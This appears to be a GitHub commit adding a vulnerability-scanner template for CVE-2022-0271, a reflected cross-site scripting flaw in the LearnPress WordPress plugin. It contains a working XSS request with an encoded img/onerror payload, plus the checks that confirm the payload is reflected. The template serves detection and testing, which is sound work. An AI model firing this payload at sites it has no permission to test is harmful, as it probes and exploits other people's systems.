Create CVE-2022-0271.yaml

patch-1
Prince Chaddha 2022-04-15 17:50:14 +04:00 committed by GitHub
parent 56755a2d5d
commit 16d6e9d8eb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 29 additions and 0 deletions

View File

@ -0,0 +1,29 @@
id: CVE-2022-0271
info:
name: LearnPress < 4.1.6 - Reflected Cross-Site Scripting
author: Akincibor
severity: medium
description: The plugin does not sanitise and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action, leading to a Reflected Cross-Site Scripting
reference: https://wpscan.com/vulnerability/ad07d9cd-8a75-4f7c-bbbe-3b6b89b699f2
tags: xss
requests:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx%3Cimg%20src%3Dx%20onerror=alert(/XSS/)%3E'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<img src=x onerror=alert(/XSS/)>"
part: body
- type: word
words:
- "text/html"
part: header